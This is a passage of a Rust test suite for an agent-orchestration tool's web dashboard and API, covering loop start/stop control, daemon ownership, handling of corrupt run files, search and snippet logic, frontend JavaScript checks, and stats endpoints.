11149 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11150 assert_eq!(
11151 res.status, 200,
11152 "the answer must not wait for the loop: a run in flight is tens of \
11153 minutes and the operator is holding a phone: {}",
11154 res.body
11155 );
11156
11157 let view = settled(&f, |v| v["running"] == false).await;
11158 assert_eq!(view["owned"], false);
11159 assert_eq!(
11160 view["stopping"], false,
11161 "a loop that has stopped is not still stopping: {view}"
11162 );
11163 assert_eq!(
11164 view["last_error"],
11165 Value::Null,
11166 "a loop that was asked to stop did not fail: {view}"
11167 );
11168
11169 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11172 assert_eq!(twice.status, 200, "{}", twice.body);
11173 }
11174
11175 #[tokio::test]
11176 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11177 let f = Fixture::start().await;
11178 write_daemon(f.home.path(), Timestamp::now());
11181
11182 let view = f.get("/api/loop").await.json();
11183 assert_eq!(view["running"], false, "not in this process: {view}");
11184 assert_eq!(view["owned"], false, "and not this process's to control");
11185 assert_eq!(
11186 view["daemon"]["running"], true,
11187 "but a loop is alive somewhere, which is what the UI must say"
11188 );
11189 assert_eq!(view["daemon"]["pid"], 4242);
11190
11191 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11192 let res = f.post("/api/loop", Some(body)).await;
11193 assert_eq!(
11194 res.status, 409,
11195 "neither button may pretend to work on someone else's loop: {}",
11196 res.body
11197 );
11198 assert!(
11199 res.json()["error"]
11200 .as_str()
11201 .is_some_and(|e| e.contains("4242")),
11202 "the refusal has to name the process the operator must go to: {}",
11203 res.body
11204 );
11205 }
11206 assert_eq!(
11207 f.get("/api/loop").await.json()["running"],
11208 false,
11209 "and the refusal started nothing"
11210 );
11211 }
11212
11213 #[tokio::test]
11214 async fn a_stale_status_file_is_not_a_foreign_owner() {
11215 let f = Fixture::start().await;
11216 write_daemon(
11217 f.home.path(),
11218 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11219 );
11220
11221 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11222 assert_eq!(
11223 res.status, 200,
11224 "a daemon killed a minute ago must not lock the loop out of its \
11225 own home for good: {}",
11226 res.body
11227 );
11228 assert_eq!(res.json()["running"], true);
11229
11230 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11231 }
11232
11233 #[tokio::test]
11234 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11235 let f = Fixture::start().await;
11236 let before = f.get("/api/health").await.json()["loop_rev"]
11237 .as_u64()
11238 .expect("a loop revision");
11239
11240 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11241
11242 let after = f.get("/api/health").await.json()["loop_rev"]
11243 .as_u64()
11244 .expect("a loop revision");
11245 assert!(
11246 after > before,
11247 "the loop is in-process state, so this counter is the only thing \
11248 that tells a second device the first one started it: {before} -> \
11249 {after}"
11250 );
11251
11252 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11253 }
11254
11255 #[tokio::test]
11256 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11257 let f = Fixture::with_loop(launch_broken).await;
11258
11259 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11260 assert_eq!(
11261 res.status, 200,
11262 "starting it is not the failure: {}",
11263 res.body
11264 );
11265
11266 let view = settled(&f, |v| v["last_error"].is_string()).await;
11267 assert_eq!(
11268 view["running"], false,
11269 "a loop that died must not read as running, or the operator has \
11270 nothing to press: {view}"
11271 );
11272 assert_eq!(view["owned"], false);
11273 assert!(
11274 view["last_error"]
11275 .as_str()
11276 .is_some_and(|e| e.contains("read-only file system")),
11277 "the phone is where a loop that died at 3am is visible: {view}"
11278 );
11279
11280 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11283 assert_eq!(again.status, 200, "{}", again.body);
11284 assert!(
11285 again.json()["last_error"]
11286 .as_str()
11287 .is_none_or(|e| !e.contains("read-only file system")),
11288 "a fresh start does not keep showing why the last one died: {}",
11289 again.body
11290 );
11291 }
11292
11293 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11305 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11306 let home = TempDir::new().expect("temp home");
11307 let runs = home.path().join("runs");
11308 std::fs::create_dir_all(&runs).expect("runs dir");
11309 let ui = Ui::new(
11310 Queue::at(home.path().join("queue")),
11311 Questions::at(home.path().join("questions")),
11312 Talks::at(home.path().join("talks")),
11313 runs,
11314 home.path().to_path_buf(),
11315 PathBuf::from("/repo/magi"),
11316 )
11317 .with_worktrees_root(home.path().join("wt"))
11318 .with_launch(launch_knocking_on_the_way_out);
11319 let looping = ui.looping();
11320 let turns = ui.turns();
11321 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11322 .await
11323 .expect("bind loopback");
11324 let addr = listener.local_addr().expect("local addr");
11325 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11326 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11327
11328 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11329 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11330
11331 let bound = std::sync::Mutex::new(None);
11346 hand_over(
11347 home.path(),
11348 &looping,
11349 &turns,
11350 &|_: &[String]| Duration::from_secs(5),
11351 served,
11352 |_| {
11353 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11354 let attempt = loop {
11355 match std::net::TcpListener::bind(addr) {
11356 Ok(l) => {
11357 drop(l);
11358 break Ok(());
11359 }
11360 Err(e)
11361 if e.kind() == std::io::ErrorKind::AddrInUse
11362 && std::time::Instant::now() < deadline =>
11363 {
11364 std::thread::sleep(std::time::Duration::from_millis(10));
11365 }
11366 Err(e) => break Err(e.to_string()),
11367 }
11368 };
11369 *bound.lock().expect("bound") = Some(attempt);
11370 Ok(1)
11371 },
11372 )
11373 .await
11374 .expect("hand over");
11375
11376 assert_eq!(
11377 *PARK_HEARD.lock().expect("park heard"),
11378 Some(200),
11379 "the deck must answer while the loop is parking"
11380 );
11381 let attempt = bound
11382 .lock()
11383 .expect("bound")
11384 .take()
11385 .expect("the successor was started");
11386 assert!(
11387 attempt.is_ok(),
11388 "and the address must be free by the time it is: {attempt:?}"
11389 );
11390 }
11391
11392 #[tokio::test]
11393 async fn a_newer_daemon_status_file_still_renders() {
11394 let f = Fixture::start().await;
11395 std::fs::write(
11398 f.home.path().join("daemon.json"),
11399 serde_json::json!({
11400 "schema": 2,
11401 "updated_at": Timestamp::now().to_string(),
11402 "idle": true,
11403 "surprise": { "nested": [1, 2, 3] },
11404 })
11405 .to_string(),
11406 )
11407 .expect("write daemon.json");
11408
11409 let health = f.get("/api/health").await;
11410
11411 assert_eq!(health.status, 200);
11412 assert_eq!(health.json()["daemon"]["running"], true);
11413 }
11414
11415 #[tokio::test]
11416 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11417 let f = Fixture::start().await;
11418 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11419 let broken = f.runs().join("20260902-140502-bad");
11420 std::fs::create_dir_all(&broken).expect("run dir");
11421 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11422
11423 let list = f.get("/api/runs").await;
11424 let detail = f.get("/api/runs/20260902-140502-bad").await;
11425
11426 assert_eq!(list.status, 200);
11427 let listed = list.json();
11428 let ids: Vec<&str> = listed
11429 .as_array()
11430 .expect("an array")
11431 .iter()
11432 .map(|r| r["id"].as_str().expect("an id"))
11433 .collect();
11434 assert_eq!(
11435 ids,
11436 vec!["20260902-140501-good"],
11437 "one unreadable run must not cost the operator the whole history"
11438 );
11439 assert_eq!(detail.status, 500);
11440 assert!(
11441 detail.json()["error"]
11442 .as_str()
11443 .is_some_and(|e| e.contains("run.json")),
11444 "the failure names the file to look at: {}",
11445 detail.body
11446 );
11447 let health = f.get("/api/health").await;
11451 assert_eq!(health.json()["runs_unreadable"], 1);
11452 }
11453
11454 #[tokio::test]
11456 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11457 let f = Fixture::start().await;
11458 let runs = f.runs();
11459 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11460 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11461 let path = runs.join("20260902-140502-bbbb").join("run.json");
11464 let mut v: serde_json::Value =
11465 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11466 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11467 std::fs::write(&path, v.to_string()).unwrap();
11468 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11469 std::fs::write(
11470 runs.join("20260902-140503-cccc").join("run.json"),
11471 "{ not json",
11472 )
11473 .unwrap();
11474
11475 let res = f.get("/api/search?scope=runs&q=quokka").await;
11476 assert_eq!(res.status, 200, "{}", res.body);
11477 let v = res.json();
11478 assert_eq!(v["total"], 1, "{v}");
11479 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11480 assert_eq!(v["hits"][0]["field"], "text");
11481 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11482 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11483 assert!(
11484 parts
11485 .iter()
11486 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11487 "{v}"
11488 );
11489 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11490 assert_eq!(
11491 flat, "The Quokka leaks across threads",
11492 "whitespace is collapsed"
11493 );
11494
11495 let both = f
11497 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11498 .await
11499 .json();
11500 assert_eq!(both["total"], 1, "{both}");
11501 let neither = f
11502 .get("/api/search?scope=runs&q=quokka%20zebra")
11503 .await
11504 .json();
11505 assert_eq!(neither["total"], 0, "{neither}");
11506 let stmt = f
11508 .get("/api/search?scope=runs&q=mobile%20first")
11509 .await
11510 .json();
11511 assert_eq!(stmt["total"], 2, "{stmt}");
11512 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11513 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11514 }
11515
11516 #[test]
11517 fn snippet_ignores_terms_longer_than_the_field() {
11518 let terms = ["ok".to_owned(), "elephant".to_owned()];
11519 let parts = snippet_of("ok", &terms);
11520 assert_eq!(
11521 parts,
11522 vec![SnippetPart {
11523 text: "ok".to_owned(),
11524 hit: true
11525 }]
11526 );
11527 }
11528
11529 #[test]
11530 fn snippet_marks_matches_longer_than_the_window() {
11531 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11532 let hit_len = |parts: &[SnippetPart]| -> usize {
11533 parts
11534 .iter()
11535 .filter(|p| p.hit)
11536 .map(|p| p.text.chars().count())
11537 .sum()
11538 };
11539 let total =
11540 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11541
11542 let long = "a".repeat(120);
11543 let parts = snippet_of(&long, std::slice::from_ref(&long));
11544 assert!(hit_len(&parts) > 0, "{parts:?}");
11545 assert!(total(&parts) <= cap);
11546
11547 let ja = "あ".repeat(130);
11548 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11549 assert!(hit_len(&parts) > 0, "{parts:?}");
11550 assert!(total(&parts) <= cap);
11551
11552 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11554 let term = format!("ab{}", "c".repeat(100));
11555 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11556 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11557 assert!(total(&parts) <= cap);
11558
11559 let text = format!("{}z", "a".repeat(119));
11561 let parts = snippet_of(&text, &["a".repeat(120)]);
11562 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11563 }
11564
11565 #[tokio::test]
11566 async fn search_caps_hits_and_snippet_length() {
11567 let f = Fixture::start().await;
11568 let runs = f.runs();
11569 for n in 0..(SEARCH_MAX_HITS + 5) {
11570 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11571 }
11572 let v = f.get("/api/search?scope=runs&q=web").await.json();
11573 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11574 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11575 assert_eq!(v["truncated"], true);
11576 assert!(
11578 v["hits"]
11579 .as_array()
11580 .unwrap()
11581 .iter()
11582 .all(|h| h["run"]["status"] == "merged")
11583 );
11584
11585 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11586 let parts = snippet_of(&long, &["needle".to_owned()]);
11587 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11588 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11589 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11590 }
11591
11592 #[tokio::test]
11593 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11594 let f = Fixture::start().await;
11595 let queue = f.queue();
11596 let mut t = Task::new(
11597 "short title".to_owned(),
11598 "line one\nthe hidden Armadillo detail".to_owned(),
11599 PathBuf::from("/repo/magi"),
11600 Source::Agent {
11601 run: "r1".to_owned(),
11602 node: "chat".to_owned(),
11603 },
11604 );
11605 t.last_error = Some("disk full on /tmp".to_owned());
11606 queue.put(&mut t).expect("file the task");
11607
11608 for (q, want) in [
11609 ("armadillo", 1),
11610 ("disk%20FULL", 1),
11611 ("chat", 1),
11612 ("queued", 1),
11613 ("short%20nothing", 0),
11614 ] {
11615 let v = f
11616 .get(&format!("/api/search?scope=tasks&q={q}"))
11617 .await
11618 .json();
11619 assert_eq!(v["total"], want, "{q}: {v}");
11620 }
11621 for bad in [
11622 "/api/search?scope=tasks&q=",
11623 "/api/search?scope=tasks&q=%20",
11624 "/api/search?scope=chats&q=",
11625 "/api/search?scope=chats&q=%20",
11626 "/api/search?scope=nope&q=a",
11627 "/api/search?q=a",
11628 ] {
11629 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11630 }
11631 }
11632
11633 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11635 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11636 .expect("seat value");
11637 let turns: Vec<serde_json::Value> = turns
11638 .iter()
11639 .map(|(who, body)| {
11640 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11641 })
11642 .collect();
11643 let doc = serde_json::json!({
11644 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11645 "status": status, "turns": turns,
11646 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11647 "seat": seat,
11648 });
11649 let dir = f.home.path().join("talks");
11650 std::fs::create_dir_all(&dir).expect("talks dir");
11651 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11652 }
11653
11654 #[tokio::test]
11655 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11656 let f = Fixture::start().await;
11657 write_talk(
11658 &f,
11659 "20260901-000001-aaaa",
11660 "open",
11661 &[
11662 (
11663 "operator",
11664 "\n Why does the Pangolin cache expire?\nsecond line",
11665 ),
11666 ("agent", "Because the TTL is thirty seconds."),
11667 ],
11668 );
11669 write_talk(
11670 &f,
11671 "20260901-000002-bbbb",
11672 "closed",
11673 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11674 );
11675 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11676
11677 let search = |q: &'static str| {
11678 let f = &f;
11679 async move {
11680 f.get(&format!("/api/search?scope=chats&q={q}"))
11681 .await
11682 .json()
11683 }
11684 };
11685
11686 let v = search("PANGOLIN").await;
11687 assert_eq!(v["scope"], "chats");
11688 assert_eq!(v["total"], 1, "{v}");
11689 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11690 assert_eq!(v["hits"][0]["field"], "title");
11691 assert_eq!(v["unreadable"], 1, "{v}");
11692 let marked: Vec<&str> = v["hits"][0]["snippet"]
11693 .as_array()
11694 .unwrap()
11695 .iter()
11696 .filter(|p| p["hit"] == true)
11697 .map(|p| p["text"].as_str().unwrap())
11698 .collect();
11699 assert_eq!(marked, ["Pangolin"]);
11700
11701 let v = search("zebra").await;
11703 assert_eq!(v["total"], 1, "{v}");
11704 assert_eq!(v["hits"][0]["field"], "agent");
11705 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11707 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11708 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11710 assert_eq!(search(q).await["total"], 0, "{q}");
11711 }
11712 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11714 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11716
11717 let v = f.get("/api/search?scope=nope&q=a").await;
11718 assert_eq!(v.status, 400);
11719 assert!(
11720 v.body.contains("scope must be runs, tasks or chats"),
11721 "{}",
11722 v.body
11723 );
11724 }
11725
11726 #[test]
11727 fn a_question_card_links_a_task_id_to_the_task_page() {
11728 let start = APP_JS
11729 .find("function updateAskCard(")
11730 .expect("updateAskCard exists");
11731 let body = &APP_JS[start..];
11732 let body = &body[..body.find("\n}\n").expect("function end")];
11733 assert!(body.contains("question.run_is_task"));
11734 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11735 assert!(body.contains("`#/runs/${question.run}`"));
11736 assert!(body.contains("\"task\" : \"run\""));
11737 }
11738
11739 #[test]
11740 fn plain_text_message_surfaces_go_through_linkify() {
11741 assert!(APP_JS.contains("function linkify("));
11742 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11743 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11744 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11745 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11746 assert!(!APP_JS.contains("innerHTML = text"));
11747 }
11748
11749 #[test]
11750 fn stats_bars_share_one_id_keyed_plan() {
11751 let start = APP_JS
11752 .find("function statsBarRows(")
11753 .expect("statsBarRows exists");
11754 let body = &APP_JS[start..];
11755 let body = &body[..body.find("\n}\n").expect("function end")];
11756 assert!(body.contains("statsBarPlan(rows)"));
11757 assert!(body.contains("statsAgentTone(row.agent)"));
11758 assert!(!body.contains("candTone(i)"));
11759 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11760 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11761 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11762 }
11763 }
11764
11765 #[test]
11766 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11767 let start = APP_JS
11768 .find("function renderStatsReviewerScatter(")
11769 .expect("renderStatsReviewerScatter exists");
11770 let body = &APP_JS[start..];
11771 let body = &body[..body.find("\n}\n").expect("function end")];
11772 assert!(body.contains("statsScatterPlan(reviewers)"));
11773 assert!(body.contains("statsAgentTone(d.agent)"));
11774 assert!(APP_JS.contains("function statsScatterPlan("));
11775 assert!(
11776 APP_JS.contains("d.submitted < STATS_LOW_N")
11777 || APP_JS.contains("r.submitted < STATS_LOW_N")
11778 );
11779 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11780 assert!(APP_CSS.contains(".precision-scatter"));
11781 }
11782
11783 #[test]
11784 fn advisor_reflection_is_drawn_as_stacked_segments() {
11785 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11786 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11787 let html = include_str!("../assets/ui/index.html");
11788 assert!(html.contains("Approximate"));
11789 for label in ["reflected strongly", "faint", "no proposal"] {
11790 assert!(html.contains(label));
11791 }
11792 let css = include_str!("../assets/ui/app.css");
11793 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11794 assert!(css.contains(&format!(".{c} {{")));
11795 }
11796 }
11797
11798 #[test]
11799 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11800 assert!(APP_JS.contains("function statsDailyPlan("));
11801 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11802 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11803 }
11804
11805 #[test]
11806 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11807 let start = APP_JS
11808 .find("function scheduleSearch(")
11809 .expect("scheduleSearch exists");
11810 let body = &APP_JS[start..];
11811 let body = &body[..body.find("\n}\n").expect("function end")];
11812 assert!(body.contains("s.seq += 1"));
11813 }
11814
11815 #[tokio::test]
11820 async fn stats_runs_unreadable_matches_health() {
11821 let f = Fixture::start().await;
11822 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11823 let broken = f.runs().join("20260902-140502-bad");
11824 std::fs::create_dir_all(&broken).expect("run dir");
11825 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11826
11827 let stats = f.get("/api/stats").await;
11828 let health = f.get("/api/health").await;
11829
11830 assert_eq!(stats.status, 200);
11831 assert_eq!(stats.json()["totals"]["runs"], 1);
11832 assert_eq!(stats.json()["runs_unreadable"], 1);
11833 assert_eq!(
11834 stats.json()["runs_unreadable"],
11835 health.json()["runs_unreadable"],
11836 "the dashboard and /api/health must never disagree about how many \
11837 runs could not be read"
11838 );
11839 }
11840
11841 #[tokio::test]
11842 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11843 let f = Fixture::start().await;
11844 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11845 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11846 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11847
11848 let totals = &f.get("/api/stats").await.json()["totals"];
11849 assert_eq!(totals["runs"], 3);
11850 assert_eq!(totals["merged"], 1);
11851 assert_eq!(totals["stalled"], 1);
11852 assert_eq!(totals["in_progress"], 1);
11853 assert_eq!(totals["blocked"], 0);
11856 assert_eq!(totals["ready"], 0);
11857 }
11858
11859 #[tokio::test]
11860 async fn stats_advisors_report_proposals_and_reflection() {
11861 use crate::advise::{Advice, AdvisorRecord, Reflection};
11862 use crate::verdict::Proposal;
11863
11864 let f = Fixture::start().await;
11865 let mut state = RunState::new(
11866 PathBuf::from("/repo/magi"),
11867 "main".to_owned(),
11868 "0123456789abcdef".to_owned(),
11869 "task".to_owned(),
11870 Config::default(),
11871 );
11872 state.id = "20260902-140501-a".to_owned();
11873 state.status = RunStatus::Merged;
11874 state.advice = Some(Advice {
11875 records: vec![
11876 AdvisorRecord {
11877 seat: "advisor-1".to_owned(),
11878 agent: "alpha".to_owned(),
11879 proposal: Some(Proposal {
11880 approach: "do it".to_owned(),
11881 key_tradeoff: "speed over memory".to_owned(),
11882 risks: Vec::new(),
11883 touches: Vec::new(),
11884 why_not_naive: "breaks under load".to_owned(),
11885 }),
11886 error: None,
11887 duration_ms: 0,
11888 reflection: Reflection::Strong,
11889 },
11890 AdvisorRecord {
11891 seat: "advisor-2".to_owned(),
11892 agent: "alpha".to_owned(),
11893 proposal: None,
11894 error: Some("timed out".to_owned()),
11895 duration_ms: 0,
11896 reflection: Reflection::Absent,
11897 },
11898 ],
11899 synthesis: Some("blended brief".to_owned()),
11900 });
11901 let dir = f.runs().join(&state.id);
11902 std::fs::create_dir_all(&dir).expect("run dir");
11903 std::fs::write(
11904 dir.join("run.json"),
11905 serde_json::to_string_pretty(&state).expect("serialize run"),
11906 )
11907 .expect("write run.json");
11908
11909 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11911 let alpha = advisors
11912 .as_array()
11913 .expect("an array")
11914 .iter()
11915 .find(|a| a["agent"] == "alpha")
11916 .expect("alpha row");
11917 assert_eq!(alpha["seated"], 2);
11918 assert_eq!(alpha["proposed"], 1);
11919 assert_eq!(alpha["absent"], 1);
11920 assert_eq!(alpha["strong"], 1);
11921 assert_eq!(alpha["faint"], 0);
11922 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11923 }
11924
11925 #[tokio::test]
11926 async fn stats_hides_agents_outside_the_roster_unless_all() {
11927 use crate::run::Candidate;
11928 let repo = TempDir::new().expect("repo dir");
11929 std::fs::write(
11930 repo.path().join("magi.toml"),
11931 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11932 )
11933 .expect("magi.toml");
11934 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11935 let mut state = RunState::new(
11936 PathBuf::from("/repo/magi"),
11937 "main".to_owned(),
11938 "0123456789abcdef".to_owned(),
11939 "task".to_owned(),
11940 Config::default(),
11941 );
11942 state.id = "20260902-140501-a".to_owned();
11943 state.status = RunStatus::Merged;
11944 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11945 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11946 "index": 0, "label": label.to_string(), "agent": agent,
11947 "branch": "b", "worktree": "/w",
11948 }))
11949 .expect("candidate");
11950 c.label = label;
11951 state.candidates.push(c);
11952 }
11953 let dir = f.runs().join(&state.id);
11954 std::fs::create_dir_all(&dir).expect("run dir");
11955 std::fs::write(
11956 dir.join("run.json"),
11957 serde_json::to_string_pretty(&state).expect("serialize run"),
11958 )
11959 .expect("write run.json");
11960
11961 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11962 v["agents"]
11963 .as_array()
11964 .expect("array")
11965 .iter()
11966 .map(|a| a["agent"].as_str().unwrap().to_owned())
11967 .collect()
11968 };
11969 let hidden = f.get("/api/stats").await.json();
11970 assert_eq!(agents_of(&hidden), ["keep"]);
11971 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11972 assert_eq!(hidden["totals"]["runs"], 1);
11973
11974 let all = f.get("/api/stats?all=true").await.json();
11975 assert_eq!(agents_of(&all).len(), 2);
11976 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11977 }
11978
11979 #[tokio::test]
11980 async fn stats_release_bumps_split_clean_from_attention() {
11981 use crate::run::ReleaseBump;
11982
11983 let f = Fixture::start().await;
11984
11985 let mut clean = RunState::new(
11986 PathBuf::from("/repo/magi"),
11987 "main".to_owned(),
11988 "0123456789abcdef".to_owned(),
11989 "task".to_owned(),
11990 Config::default(),
11991 );
11992 clean.id = "20260902-140501-a".to_owned();
11993 clean.status = RunStatus::Merged;
11994 clean.release_bump = Some(ReleaseBump {
11995 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11996 version: Some("1.0.0".to_owned()),
11997 automerge_enabled: true,
11998 merged_directly: false,
11999 local: false,
12000 release: None,
12001 problem: None,
12002 action_required: None,
12003 });
12004
12005 let mut blocked = RunState::new(
12006 PathBuf::from("/repo/magi"),
12007 "main".to_owned(),
12008 "0123456789abcdef".to_owned(),
12009 "task".to_owned(),
12010 Config::default(),
12011 );
12012 blocked.id = "20260902-140502-b".to_owned();
12013 blocked.status = RunStatus::Merged;
12014 blocked.release_bump = Some(ReleaseBump {
12015 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12016 version: Some("1.0.1".to_owned()),
12017 automerge_enabled: false,
12018 merged_directly: false,
12019 local: false,
12020 release: None,
12021 problem: Some("checks red".to_owned()),
12022 action_required: Some("look at the PR".to_owned()),
12023 });
12024
12025 for state in [&clean, &blocked] {
12026 let dir = f.runs().join(&state.id);
12027 std::fs::create_dir_all(&dir).expect("run dir");
12028 std::fs::write(
12029 dir.join("run.json"),
12030 serde_json::to_string_pretty(state).expect("serialize run"),
12031 )
12032 .expect("write run.json");
12033 }
12034
12035 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12036 assert_eq!(bumps["merged"], 2);
12037 assert_eq!(bumps["recorded"], 2);
12038 assert_eq!(bumps["pr_opened"], 2);
12039 assert_eq!(bumps["automerge_enabled"], 1);
12040 assert_eq!(bumps["needs_attention"], 1);
12041 assert_eq!(bumps["clean"], 1);
12042 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12043 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12044 }
12045
12046 #[tokio::test]
12047 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12048 let f = Fixture::start().await;
12049 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12050
12051 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12052 assert_eq!(bumps["merged"], 1);
12053 assert_eq!(bumps["recorded"], 0);
12054 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12057 assert_eq!(bumps["automerge_rate"], Value::Null);
12060 assert_eq!(bumps["attention_rate"], Value::Null);
12061 }
12062
12063 #[tokio::test]
12064 async fn stats_queue_counts_come_from_the_live_queue() {
12065 let f = Fixture::start().await;
12066 let q = f.queue();
12067 let mut queued = Task::new(
12068 "queued task".to_owned(),
12069 "do it".to_owned(),
12070 PathBuf::from("/repo"),
12071 Source::Human,
12072 );
12073 q.put(&mut queued).expect("put queued");
12074 let mut held = Task::new(
12075 "held task".to_owned(),
12076 "do it later".to_owned(),
12077 PathBuf::from("/repo"),
12078 Source::Human,
12079 );
12080 held.hold_machine(Some("out of attempts".to_owned()));
12081 q.put(&mut held).expect("put held");
12082
12083 let queue = f.get("/api/stats").await.json()["queue"].clone();
12084 assert_eq!(queue["queued"], 1);
12085 assert_eq!(queue["held"], 1);
12086 assert_eq!(queue["running"], 0);
12087 assert_eq!(queue["done"], 0);
12088 assert_eq!(queue["failed"], 0);
12089 assert_eq!(queue["blocked"], 0);
12090 }
12091
12092 #[tokio::test]
12093 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12094 let f = Fixture::start().await;
12095 let stats = f.get("/api/stats").await;
12096 assert_eq!(stats.status, 200);
12097 assert_eq!(stats.json()["totals"]["runs"], 0);
